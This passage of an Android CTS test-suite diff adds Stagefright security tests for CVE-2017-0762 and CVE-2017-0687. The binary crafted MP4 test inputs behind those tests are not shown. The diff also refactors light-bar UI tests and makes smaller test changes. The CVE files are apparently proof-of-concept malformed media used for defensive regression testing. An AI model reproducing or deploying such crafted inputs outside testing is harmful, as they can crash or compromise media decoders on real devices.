+++ b/tests/tests/security/res/raw/cve_2017_0687.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0762.mp4 b/tests/tests/security/res/raw/cve_2017_0762.mp4
new file mode 100644
index 0000000..e8cc2cd
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0762.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index c19340b..6d3badc 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -830,6 +830,16 @@
         doStagefrightTestRawBlob(R.raw.bug_64836894, "video/avc", 320, 240);
     }
 
+    @SecurityTest
+    public void testCve_2017_0762() throws Exception {
+        doStagefrightTestRawBlob(R.raw.cve_2017_0762, "video/hevc", 320, 240);
+    }
+
+    @SecurityTest
+    public void testCve_2017_0687() throws Exception {
+        doStagefrightTestRawBlob(R.raw.cve_2017_0687, "video/avc", 320, 240);
+    }
+
     private void runWithTimeout(Runnable runner, int timeout) {
         Thread t = new Thread(runner);
         t.start();
diff --git a/tests/tests/systemui/Android.mk b/tests/tests/systemui/Android.mk
index 4c7af5a..6ba1e77 100644
--- a/tests/tests/systemui/Android.mk
+++ b/tests/tests/systemui/Android.mk
@@ -29,7 +29,8 @@
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
     android-support-test \
-    legacy-android-test
+    legacy-android-test \
+    ub-uiautomator
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml
index fc0d841..453640d 100644
--- a/tests/tests/systemui/AndroidManifest.xml
+++ b/tests/tests/systemui/AndroidManifest.xml
@@ -23,6 +23,8 @@
     <application>
         <activity android:name=".LightBarActivity"
                 android:theme="@android:style/Theme.Material.NoActionBar"></activity>
+        <activity android:name=".LightBarThemeActivity"
+            android:theme="@style/LightBarTheme"></activity>
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/tests/systemui/res/values/colors.xml b/tests/tests/systemui/res/values/colors.xml
new file mode 100644
index 0000000..6f0558a
--- /dev/null
+++ b/tests/tests/systemui/res/values/colors.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<resources>
+    <color name="navigationBarDividerColor">#ff0000</color>
+</resources>
\ No newline at end of file
diff --git a/tests/tests/systemui/res/values/styles.xml b/tests/tests/systemui/res/values/styles.xml
new file mode 100644
index 0000000..dd95114
--- /dev/null
+++ b/tests/tests/systemui/res/values/styles.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<resources>
+    <style name="LightBarTheme" parent="@android:style/Theme.Material.Light.NoActionBar">
+        <item name="android:windowLightStatusBar">true</item>
+        <item name="android:windowLightNavigationBar">true</item>
+        <item name="android:navigationBarColor">@android:color/white</item>
+        <item name="android:navigationBarDividerColor">@color/navigationBarDividerColor</item>
+    </style>
+</resources>
\ No newline at end of file
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
index 6a1e0d7..a826575 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarActivity.java
@@ -15,29 +15,13 @@
  */
 package android.systemui.cts;
 
-import android.app.Activity;
-import android.graphics.Color;
-import android.os.Bundle;
 import android.view.View;
-import android.view.ViewGroup.LayoutParams;
-
 
 /**
  * An activity that exercises SYSTEM_UI_FLAG_LIGHT_STATUS_BAR and
  * SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR.
  */
-public class LightBarActivity extends Activity {
-
-    private View mContent;
-
-    public void onCreate(Bundle bundle){
-        super.onCreate(bundle);
-
-        mContent = new View(this);
-        mContent.setLayoutParams(new LayoutParams(LayoutParams.MATCH_PARENT,
-                LayoutParams.MATCH_PARENT));
-        setContentView(mContent);
-    }
+public class LightBarActivity extends LightBarBaseActivity {
 
     public void setLightStatusBar(boolean lightStatusBar) {
         setLightBar(lightStatusBar, View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
@@ -56,16 +40,4 @@
         }
         getWindow().getDecorView().setSystemUiVisibility(vis);
     }
-
-    public int getTop() {
-        return mContent.getLocationOnScreen()[1];
-    }
-
-    public int getBottom() {
-        return mContent.getLocationOnScreen()[1] + mContent.getHeight();
-    }
-
-    public int getWidth() {
-        return mContent.getWidth();
-    }
 }
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java
new file mode 100644
index 0000000..1b228f3
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarBaseActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.View;
+import android.view.ViewGroup.LayoutParams;
+
+public class LightBarBaseActivity extends Activity {
+
+    private View mContent;
+
+    @Override
+    protected void onCreate(Bundle bundle){
+        super.onCreate(bundle);
+        mContent = new View(this);
+        mContent.setLayoutParams(new LayoutParams(LayoutParams.MATCH_PARENT,
+                LayoutParams.MATCH_PARENT));
+        setContentView(mContent);
+    }
+
+    public int getSystemUiVisibility() {
+        return mContent.getWindowSystemUiVisibility();
+    }
+
+    public int getTop() {
+        return mContent.getLocationOnScreen()[1];
+    }
+
+    public int getBottom() {
+        return mContent.getLocationOnScreen()[1] + mContent.getHeight();
+    }
+
+    public int getWidth() {
+        return mContent.getWidth();
+    }
+}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
new file mode 100644
index 0000000..0eb5569
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts;
+
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+
+import android.graphics.Bitmap;
+import android.util.Log;
+
+import java.io.FileOutputStream;
+import java.io.IOException;
+
+public class LightBarTestBase {
+
+    private static final String TAG = "LightBarTestBase";
+
+    public static final String DUMP_PATH = "/sdcard/lightstatustest.png";
+
+    protected Bitmap takeStatusBarScreenshot(LightBarBaseActivity activity) {
+        Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
+        return Bitmap.createBitmap(fullBitmap, 0, 0, activity.getWidth(), activity.getTop());
+    }
+
+    protected Bitmap takeNavigationBarScreenshot(LightBarBaseActivity activity) {
+        Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
+        return Bitmap.createBitmap(fullBitmap, 0, activity.getBottom(), activity.getWidth(),
+                fullBitmap.getHeight() - activity.getBottom());
+    }
+
+    protected void dumpBitmap(Bitmap bitmap) {
+        Log.e(TAG, "Dumping failed bitmap to " + DUMP_PATH);
+        FileOutputStream fileStream = null;
+        try {
+            fileStream = new FileOutputStream(DUMP_PATH);
+            bitmap.compress(Bitmap.CompressFormat.PNG, 85, fileStream);
+            fileStream.flush();
+        } catch (Exception e) {
+            Log.e(TAG, "Dumping bitmap failed.", e);
+        } finally {
+            if (fileStream != null) {
+                try {
+                    fileStream.close();
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        }
+    }
+}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index a62b2d5..5d45256 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -16,22 +16,26 @@
 
 package android.systemui.cts;
 
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.app.ActivityManager;
 import android.app.UiAutomation;
 import android.content.pm.PackageManager;
 import android.graphics.Bitmap;
 import android.graphics.Color;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.InputDevice;
 import android.view.KeyCharacterMap;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
 
-import java.io.FileOutputStream;
-import java.io.IOException;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test for light status bar.
@@ -39,25 +43,18 @@
  * mmma cts/tests/tests/systemui
  * cts-tradefed run commandAndExit cts-dev --module CtsSystemUiTestCases --test android.systemui.cts.LightBarTests --disable-reboot --skip-device-info --skip-all-system-status-check --skip-preconditions
  */
-public class LightBarTests extends ActivityInstrumentationTestCase2<LightBarActivity> {
+@RunWith(AndroidJUnit4.class)
+public class LightBarTests extends LightBarTestBase {
 
     public static final String TAG = "LightStatusBarTests";
 
-    public static final String DUMP_PATH = "/sdcard/lightstatustest.png";
+    private static final int WAIT_TIME = 2000;
 
-    public LightBarTests() {
-        super(LightBarActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<LightBarActivity> mActivityRule = new ActivityTestRule<>(
+            LightBarActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        // As the way to access Instrumentation is changed in the new runner, we need to inject it
-        // manually into ActivityInstrumentationTestCase2. ActivityInstrumentationTestCase2 will
-        // be marked as deprecated and replaced with ActivityTestRule.
-        injectInstrumentation(InstrumentationRegistry.getInstrumentation());
-    }
-
+    @Test
     public void testLightStatusBarIcons() throws Throwable {
         PackageManager pm = getInstrumentation().getContext().getPackageManager();
         if (pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
@@ -73,13 +70,14 @@
         }
 
         requestLightBars(Color.RED /* background */);
-        Thread.sleep(1000);
+        Thread.sleep(WAIT_TIME);
 
-        Bitmap bitmap = takeStatusBarScreenshot();
+        Bitmap bitmap = takeStatusBarScreenshot(mActivityRule.getActivity());
         Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */);
         assertLightStats(bitmap, s);
     }
 
+    @Test
     public void testLightNavigationBar() throws Throwable {
         PackageManager pm = getInstrumentation().getContext().getPackageManager();
         if (pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
@@ -100,15 +98,15 @@
         }
 
         requestLightBars(Color.RED /* background */);
-        Thread.sleep(1000);
+        Thread.sleep(WAIT_TIME);
 
         // Inject a cancelled interaction with the nav bar to ensure it is at full opacity.
-        int x = getActivity().getWidth() / 2;
-        int y = getActivity().getBottom() + 10;
+        int x = mActivityRule.getActivity().getWidth() / 2;
+        int y = mActivityRule.getActivity().getBottom() + 10;
         injectCanceledTap(x, y);
-        Thread.sleep(1000);
+        Thread.sleep(WAIT_TIME);
 
-        Bitmap bitmap = takeNavigationBarScreenshot();
+        Bitmap bitmap = takeNavigationBarScreenshot(mActivityRule.getActivity());
         Stats s = evaluateLightBarBitmap(bitmap, Color.RED /* background */);
         assertLightStats(bitmap, s);
     }
@@ -157,7 +155,6 @@
             success = true;
         } finally {
             if (!success) {
-                Log.e(TAG, "Dumping failed bitmap to " + DUMP_PATH);
                 dumpBitmap(bitmap);
             }
         }
@@ -178,8 +175,8 @@
     }
 
     private void requestLightBars(final int background) throws Throwable {
-        final LightBarActivity activity = getActivity();
-        runTestOnUiThread(() -> {
+        final LightBarActivity activity = mActivityRule.getActivity();
+        activity.runOnUiThread(() -> {
             activity.getWindow().setStatusBarColor(background);
             activity.getWindow().setNavigationBarColor(background);
             activity.setLightStatusBar(true);
@@ -256,25 +253,6 @@
         return s;
     }
 
-    private void dumpBitmap(Bitmap bitmap) {
-        FileOutputStream fileStream = null;
-        try {
-            fileStream = new FileOutputStream(DUMP_PATH);
-            bitmap.compress(Bitmap.CompressFormat.PNG, 85, fileStream);
-            fileStream.flush();
-        } catch (Exception e) {
-            Log.e(TAG, "Dumping bitmap failed.", e);
-        } finally {
-            if (fileStream != null) {
-                try {
-                    fileStream.close();
-                } catch (IOException e) {
-                    e.printStackTrace();
-                }
-            }
-        }
-    }
-
     private int mixSrcOver(int background, int foreground) {
         int bgAlpha = Color.alpha(background);
         int bgRed = Color.red(background);
@@ -291,16 +269,4 @@
                     fgGreen + (255 - fgAlpha) * bgGreen / 255,
                     fgBlue + (255 - fgAlpha) * bgBlue / 255);
     }
-
-    private Bitmap takeStatusBarScreenshot() {
-        Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
-        return Bitmap.createBitmap(fullBitmap, 0, 0,
-                getActivity().getWidth(), getActivity().getTop());
-    }
-
-    private Bitmap takeNavigationBarScreenshot() {
-        Bitmap fullBitmap = getInstrumentation().getUiAutomation().takeScreenshot();
-        return Bitmap.createBitmap(fullBitmap, 0, getActivity().getBottom(),
-                getActivity().getWidth(), fullBitmap.getHeight() - getActivity().getBottom());
-    }
 }
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeActivity.java b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeActivity.java
new file mode 100644
index 0000000..d28d2b5
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts;
+
+public class LightBarThemeActivity extends LightBarBaseActivity {
+}
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
new file mode 100644
index 0000000..b385ecd
--- /dev/null
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.systemui.cts;
+
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.graphics.Bitmap;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiDevice;
+import android.view.View;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for light system bars that set the flag via theme.
+ *
+ * mmma cts/tests/tests/systemui
+ * cts-tradefed run commandAndExit cts-dev --module CtsSystemUiTestCases --test android.systemui.cts.LightBarThemeTest --disable-reboot --skip-device-info --skip-all-system-status-check --skip-preconditions
+ */
+@RunWith(AndroidJUnit4.class)
+public class LightBarThemeTest extends LightBarTestBase {
+
+    private UiDevice mDevice;
+
+    @Rule
+    public ActivityTestRule<LightBarThemeActivity> mActivityRule = new ActivityTestRule<>(
+            LightBarThemeActivity.class);
+
+    @Before
+    public void setUp() {
+        mDevice = UiDevice.getInstance(getInstrumentation());
+    }
+
+    @Test
+    public void testThemeSetsFlags() throws Exception {
+        final int visibility = mActivityRule.getActivity().getSystemUiVisibility();
+        assertTrue((visibility & View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR) != 0);
+        assertTrue((visibility & View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR) != 0);
+    }
+
+    @Test
+    public void testNavigationBarDivider() throws Exception {
+
+        // Wait until the activity is fully visible
+        mDevice.waitForIdle();
+
+        final int dividerColor = getInstrumentation().getContext().getColor(
+                R.color.navigationBarDividerColor);
+        final Bitmap bitmap = takeNavigationBarScreenshot(mActivityRule.getActivity());
+        int[] pixels = new int[bitmap.getHeight() * bitmap.getWidth()];
+        bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
+        for (int col = 0; col < bitmap.getWidth(); col++) {
+            if (dividerColor != pixels[col]) {
+                dumpBitmap(bitmap);
+                fail("Invalid color exptected=" + dividerColor + " actual=" + pixels[col]);
+            }
+        }
+    }
+}
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index 9cac6e4..7c35627 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -298,7 +298,7 @@
         </activity>
 
         <activity android:name="android.view.cts.DragDropActivity"
-                  android:screenOrientation="locked"
+                  android:screenOrientation="portrait"
                   android:label="DragDropActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
diff --git a/tests/tests/widget/src/android/widget/cts/EditTextTest.java b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
index c3349ae..9cb9903 100644
--- a/tests/tests/widget/src/android/widget/cts/EditTextTest.java
+++ b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
@@ -337,25 +337,6 @@
         assertEquals(mEditText1.getSelectionEnd(), mEditText2.getSelectionEnd());
     }
 
-    @Test
-    public void testSetMaxLines_toZero_shouldNotDisplayAnyLines() throws Throwable {
-        mActivityRule.runOnUiThread(() -> {
-            mEditText1.setPadding(0, 0, 0, 0);
-            mEditText1.setText("Single");
-            mEditText1.setMaxLines(0);
-        });
-        mInstrumentation.waitForIdleSync();
-
-        final int expectedHeight = mEditText1.getTotalPaddingBottom()
-                + mEditText1.getTotalPaddingTop();
-        assertEquals(expectedHeight, mEditText1.getHeight());
-
-        mActivityRule.runOnUiThread(() -> mEditText1.setText("Two\nLines"));
-        mInstrumentation.waitForIdleSync();
-
-        assertEquals(expectedHeight, mEditText1.getHeight());
-    }
-
     private class MockEditText extends EditText {
         public MockEditText(Context context) {
             super(context);
diff --git a/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java b/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
index c798a0e..7af7af9 100644
--- a/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TabWidgetTest.java
@@ -23,8 +23,10 @@
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 
+import android.app.Instrumentation;
 import android.content.Context;
 import android.graphics.drawable.Drawable;
+import android.support.test.InstrumentationRegistry;
 import android.support.test.annotation.UiThreadTest;
 import android.support.test.filters.MediumTest;
 import android.support.test.rule.ActivityTestRule;
@@ -52,6 +54,7 @@
 public class TabWidgetTest {
     private TabHostCtsActivity mActivity;
     private TabWidget mTabWidget;
+    private Instrumentation mInstrumentation;
 
     @Rule
     public ActivityTestRule<TabHostCtsActivity> mActivityRule =
@@ -59,6 +62,7 @@
 
     @Before
     public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mActivity = mActivityRule.getActivity();
         mTabWidget = mActivity.getTabWidget();
     }
@@ -289,38 +293,55 @@
         assertFalse(mTabWidget.isStripEnabled());
     }
 
-    @UiThreadTest
     @Test
-    public void testStripDrawables() {
+    public void testStripDrawables() throws Throwable {
+        mTabWidget.setStripEnabled(true);
+
         // Test setting left strip drawable
-        mTabWidget.setLeftStripDrawable(R.drawable.icon_green);
+        mActivityRule.runOnUiThread(() -> mTabWidget.setLeftStripDrawable(R.drawable.icon_green));
         Drawable leftStripDrawable = mTabWidget.getLeftStripDrawable();
         assertNotNull(leftStripDrawable);
         TestUtils.assertAllPixelsOfColor("Left strip green", leftStripDrawable,
                 leftStripDrawable.getIntrinsicWidth(), leftStripDrawable.getIntrinsicHeight(),
                 true, 0xFF00FF00, 1, false);
 
-        mTabWidget.setLeftStripDrawable(mActivity.getDrawable(R.drawable.icon_red));
+        mActivityRule.runOnUiThread(() -> mTabWidget.setLeftStripDrawable(
+                mActivity.getDrawable(R.drawable.icon_red)));
         leftStripDrawable = mTabWidget.getLeftStripDrawable();
         assertNotNull(leftStripDrawable);
         TestUtils.assertAllPixelsOfColor("Left strip red", leftStripDrawable,
                 leftStripDrawable.getIntrinsicWidth(), leftStripDrawable.getIntrinsicHeight(),
                 true, 0xFFFF0000, 1, false);
 
+        mActivityRule.runOnUiThread(() -> mTabWidget.setLeftStripDrawable(null));
+        leftStripDrawable = mTabWidget.getLeftStripDrawable();
+        assertNull(leftStripDrawable);
+
+        // Wait for draw.
+        mInstrumentation.waitForIdleSync();
+
         // Test setting right strip drawable
-        mTabWidget.setRightStripDrawable(R.drawable.icon_red);
+        mActivityRule.runOnUiThread(() -> mTabWidget.setRightStripDrawable(R.drawable.icon_red));
         Drawable rightStripDrawable = mTabWidget.getRightStripDrawable();
         assertNotNull(rightStripDrawable);
         TestUtils.assertAllPixelsOfColor("Right strip red", rightStripDrawable,
                 rightStripDrawable.getIntrinsicWidth(), rightStripDrawable.getIntrinsicHeight(),
                 true, 0xFFFF0000, 1, false);
 
-        mTabWidget.setRightStripDrawable(mActivity.getDrawable(R.drawable.icon_green));
+        mActivityRule.runOnUiThread(() -> mTabWidget.setRightStripDrawable(
+                mActivity.getDrawable(R.drawable.icon_green)));
         rightStripDrawable = mTabWidget.getRightStripDrawable();
         assertNotNull(rightStripDrawable);
         TestUtils.assertAllPixelsOfColor("Left strip green", rightStripDrawable,
                 rightStripDrawable.getIntrinsicWidth(), rightStripDrawable.getIntrinsicHeight(),
                 true, 0xFF00FF00, 1, false);
+
+        mActivityRule.runOnUiThread(() -> mTabWidget.setRightStripDrawable(null));
+        rightStripDrawable = mTabWidget.getRightStripDrawable();
+        assertNull(rightStripDrawable);
+
+        // Wait for draw.
+        mInstrumentation.waitForIdleSync();
     }
 
     @UiThreadTest
diff --git a/tests/vr/jni/VrExtensionsJni.cpp b/tests/vr/jni/VrExtensionsJni.cpp
index 7ae832d9..6f304b8 100644
--- a/tests/vr/jni/VrExtensionsJni.cpp
+++ b/tests/vr/jni/VrExtensionsJni.cpp
@@ -248,6 +248,8 @@
     auto exts = reinterpret_cast<const char*>(glGetString(GL_EXTENSIONS));
     ASSERT_TRUE(exts && strstr(exts, "GL_EXT_external_buffer"));
     // Next, load entry points provided by extensions.
+    LOAD_PROC(eglGetNativeClientBufferANDROID, PFNEGLGETNATIVECLIENTBUFFERANDROID);
+    ASSERT_NE(eglGetNativeClientBufferANDROID, nullptr);
     LOAD_PROC(glBufferStorageExternalEXT, PFNGLBUFFERSTORAGEEXTERNALEXTPROC);
     ASSERT_NE(glBufferStorageExternalEXT, nullptr);
     LOAD_PROC(glMapBufferRange, PFNGLMAPBUFFERRANGEPROC);
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 834d863..539e710 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -129,6 +129,9 @@
     <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#startWithFragmentAndInitTitleMultiWindowPortraitTest" />
     <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#startWithFragmentNoHeadersMultiWindowPortraitTest" />
 
+    <!-- b/63916274 -->
+    <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.WiredHeadsetTest" />
+
     <!-- b/38177396 -->
     <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowLandscapeTest#multiWindowHistoryPreserveLandscapeTest" />
     <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowLandscapeTest#multiWindowInOutLandscapeTest" />